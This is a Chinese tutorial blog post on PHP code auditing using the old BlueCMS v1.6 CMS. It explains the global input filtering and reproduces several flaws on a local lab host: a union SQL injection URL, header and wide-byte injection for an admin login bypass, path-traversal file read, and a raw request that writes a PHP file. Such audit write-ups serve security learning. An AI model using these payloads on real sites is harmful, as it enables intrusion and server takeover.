通过 BlueCMS 学习 php 代码审计

  • A+
所属分类:代码审计

0x00 前言

最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:

php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 早期CMS程序代码审计实战 -> MVC模式程序代码审计实战

网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向。

然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理早期CMS程序代码审计实战 -> MVC模式程序代码审计实战的过程,并在博客上发表。

早期CMS程序代码审计实战 我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,难度逐渐提升。在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,直到PhpCMS,发现已经实现了一个MVC模型的程序。相信完成这步后再审计非 MVC 模式程序的代码就会具有清晰的思路与十足的把握。

0x01 BlueCMS 简介

BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑。

BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是早期CMS程序代码审计实战系列最标志的第一环。

BlueCMS 源码也不太好找,这里推荐站长之家

(http://down.chinaz.com/),yyds

BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功。

0x02 全局分析

在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作

目录结构

通过目录结构可以简单看出程序的逻辑
目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善

通过 BlueCMS 学习 php 代码审计

首页 index.php

首页 index.php 首先会加载common.inc.php,include/index.fun.php这些文件具体做了什么后面仔细分析

然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了

require_once('include/common.inc.php');require_once(BLUE_ROOT.'include/index.fun.php');// 获取新闻栏目、新闻分类列表、网站公告等数据……// 利用smarty模板引擎显示页面$smarty->display('index.htm');

可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.php

include/common.inc.php

对GPC数据做了过滤,但外部可控数据还包括$_SERVER没有经过过滤

还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用

comon.inc.php 的其他处理逻辑注释即可

// 加载一些基础文件require_once (BLUE_ROOT.'include/common.fun.php');require_once(BLUE_ROOT.'include/cat.fun.php');
// 外部数据过滤if(!get_magic_quotes_gpc()){ $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST);}
// 数据库链接require_once(BLUE_ROOT.'include/mysql.class.php');$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// Smarty模板对象就是这引入的require(BLUE_ROOT.'include/smarty/Smarty.class.php');$smarty = new Smarty();
// 用户ip处理$banned_ip = get_bannedip();if (@in_array($online_ip, $banned_ip)){ showmsg('对不起,您的IP已被禁止,有问题请联系管理员!');}

外部数据的具体过滤方式

追踪一下deep_addslashes()方法,看下数据过滤的具体实现方式

/include/common.fun.php

具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作

// include/common.fun.php 14-28:function deep_addslashes($str){    if(is_array($str))    {        foreach($str as $key=>$val)        {            $str[$key] = deep_addslashes($val);        }    }    else    {        $str = addslashes($str);    }    return $str;}

数据库连接方式

include/mysql.class.php

数据库连接方法是mysql_connect(),$linkid存放MySQL 连接标识

这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能

然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行

class mysql {        var $linkid=null;    function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) {        $this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect);    }    function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){        $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';        if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){            $this->dbshow('Can not connect to Mysql!');        } else {            if($this->dbversion() > '4.1'){                mysql_query( "SET NAMES gbk");            }        }    }      // mysql_query()封装执行sql语句的方法      function query($sql){        if([email protected]_query($sql, $this->linkid)){            $this->dbshow("Query error:$sql");        }else{            return $query;        }    }      //    getone() 封装查询数据的方法      function getone($sql, $type=MYSQL_ASSOC){        $query = $this->query($sql,$this->linkid);        $row = mysql_fetch_array($query, $type);        return $row;    }  ……}

后台逻辑分析

后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑

后台入口文件

admin/index.php

admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理

index.php 剩下内容主要用于显示后台的页面require_once(dirname(__FILE__) . "/include/common.inc.php");$act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : '';if($act==''){  // 显示后台页面  $smarty->display('index.htm');}elseif($act=='top'){    // 显示顶部    $smarty->display('top.htm');}elseif($act=='menu'){  // 显示菜单  $smarty->display('menu.htm');}elseif($act == 'main'){  // 显示主体页面  $smarty->display('main.htm');}

admin/templates/default/index.htm

关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案

<frameset rows="76,*" frameborder="no" border="0" framespacing="0" >        <frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize>        <frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0"  >            <frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize>            <frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize>        </frameset></frameset>

common.inc.php处理细节

admin/include/common.inc.php

该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面

可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果$_SESSION[‘admin_id’]存在则通过验证并刷新用户登陆记录

当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆

如果未设置cookie信息,则跳转到login.php?act=login页面重新登陆

// 加载一些基础文件require_once(……)// 外部数据过滤deep_addslashes()// 数据库链接require_once(BLUE_ROOT.'include/mysql.class.php');$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);// 加载smarty模板引擎require(BLUE_ROOT.'include/smarty/Smarty.class.php');$smarty = new Smarty();// 管理员身份认证if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){    if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){        if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){          update_admin_info($_COOKIE['Blue']['admin_name']);        }    }else{        setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);        setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);        setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);        echo '<script type="text/javascript">top.location="login.php?act=login";</script>';        exit();    }}elseif($_SESSION['admin_id']){     update_admin_info($_SESSION['admin_name']);}

0x03 漏洞审计

sql注入漏洞

通过BlueCMS我们可以看到各种常见的漏洞写法

数字型注入

ad_js.php

ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤

$ad_id通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行

在执行的sql语句中发现$ad_id没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入

sql查询结果最后是用注释的方式放在页面上

require_once dirname(__FILE__) . '/include/common.inc.php';$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);if($ad['time_set'] == 0){    $ad_content = $ad['content'];}echo "<!--rndocument.write("".$ad_content."");rn-->rn";复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+

通过 BlueCMS 学习 php 代码审计

$_SERVER 的突破

上面知道只对GPC数据做了全局过滤,还有一个$_SERVER是没有过滤的,其实$_SERVER也是可以传入外部可控数据的

guest_book.php

guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中

其中$online_ip来自 common.fun.php 中 getip() 函数

require dirname(__FILE__) . '/include/common.inc.php';if ($act == 'list'){  ……}elseif($act == 'send'){  $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)             VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";    $db->query($sql);}

common.fun.php

getip() 首先会在HTTP_开头的环境变量寻找ip,HTTP_开头的变量是可控的,来自请求头

function getip(){    if (getenv('HTTP_CLIENT_IP'))    {        $ip = getenv('HTTP_CLIENT_IP');     }    elseif (getenv('HTTP_X_FORWARDED_FOR'))     {        $ip = getenv('HTTP_X_FORWARDED_FOR');    }    ……  else    {         $ip = $_SERVER['REMOTE_ADDR'];    }  return $ip;}

漏洞复现:

POST /guest_book.php HTTP/1.1Host: bluecms:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX_FORWARDED_FOR: 192.168.44.1',user())#Connection: closeCookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9Upgrade-Insecure-Requests: 1Content-Length: 37
content=hello&act=send&page_id=1&rid=

效果:
通过 BlueCMS 学习 php 代码审计

宽字节注入

上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下

admin/login.php

admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码

可以看到后台验证验证用户是否登陆的依据:具有非空$_SESSION[‘admin_id’]值

$admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为check_admin()

require_once(dirname(__FILE__) . '/include/common.inc.php');if($act == 'login'){  if($_SESSION['admin_id']){         showmsg('您已登录,不用再次登录', 'index.php');     }  ……}elseif($act == 'do_login'){  $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';    $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';    if(check_admin($admin_name, $admin_pwd)){         update_admin_info($admin_name);         if($remember == 1){             setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);             setcookie('Blue[admin_name]', $admin_name, time()+86400);            setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);         }     }else{         showmsg('您输入的用户名和密码有误');     }}

admin/include/common.fun.php

判断的依据是同时查询用户名和密码,查询到结果则为真

function check_admin($name, $pwd){    global $db;    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");     if($row['num'] > 0)     {         return true;     }     else     {         return false;     }}

这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制

注意浏览器会自动对post数据url编码,我们注入的%会被编码导致注入宽字节失效,最好通过抓包取消url编码

通过 BlueCMS 学习 php 代码审计

任意文件读取/写入

在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞
通过 BlueCMS 学习 php 代码审计
通过 BlueCMS 学习 php 代码审计

审计细节

admin/tpl_manage.php

require_once(dirname(__FILE__).'/include/common.inc.php');$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list';if($act == 'list'){  $dir = BLUE_ROOT.'templates/default';  // 列出$dir下的文件    ……}elseif($act == 'edit'){  $file = $_GET['tpl_name'];    if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){        showmsg('打开目标模板文件失败');    }    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);    fclose($handle);    $tpl['name'] = $file;    template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));    $smarty->display('tpl_info.htm');}elseif($act == 'do_edit'){    $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';     $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';     if(empty($tpl_name)){         return false;     }     $tpl = BLUE_ROOT.'templates/default/'.$tpl_name;     if(!$handle = @fopen($tpl, 'wb')){        showmsg("打开目标模版文件 $tpl 失败");     }     if(fwrite($handle, $tpl_content) === false){         showmsg('写入目标 $tpl 失败');     }     fclose($handle);     showmsg('编辑模板成功', 'tpl_manage.php');}

$act可控,用于指定操作,具有的操作为list, edit 和do_edit

默认操作 list,列出指定目录下的文件

操作 edit用于读取指定目录下的$file,该参数可控,通过../可以实现目录穿越,这里就有任意文件读取漏洞

操作 do_edit 将$tpl_content写入到$tpl_name文件中,两个参数都可控,不过写入的内容$tpl_content会通过 deep_stripslashes() 过滤,同时还要注意$tpl_content是通过 POST 方式传入的,还会经过 addslashes() 处理

include/common.fun.php

查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞

function deep_stripslashes($str){     if(is_array($str))     {         foreach($str as $key => $val)         {             $str[$key] = deep_stripslashes($val);         }     }     else     {         $str = stripslashes($str);     }     return $str;}

复现

利用目录穿越读取任意文件

通过 BlueCMS 学习 php 代码审计直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:

POST /admin/tpl_manage.php HTTP/1.1Host: bluecms.test:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 59Origin: http://bluecms.test:8888Connection: closeReferer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htmCookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77Upgrade-Insecure-Requests: 1
tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit

效果:

通过 BlueCMS 学习 php 代码审计

任意文件删除

user.php

$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的

elseif ($act == 'del_pic') {    $id = $_REQUEST['id'];    $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");    if (file_exists(BLUE_ROOT . $id)) {        @unlink(BLUE_ROOT . $id);    }

0x04 总结

BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。

参考

https://xz.aliyun.com/t/7074

通过 BlueCMS 学习 php 代码审计


精彩推荐





通过 BlueCMS 学习 php 代码审计

通过 BlueCMS 学习 php 代码审计

通过 BlueCMS 学习 php 代码审计

通过 BlueCMS 学习 php 代码审计

通过 BlueCMS 学习 php 代码审计

本文始发于微信公众号(FreeBuf):通过 BlueCMS 学习 php 代码审计

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: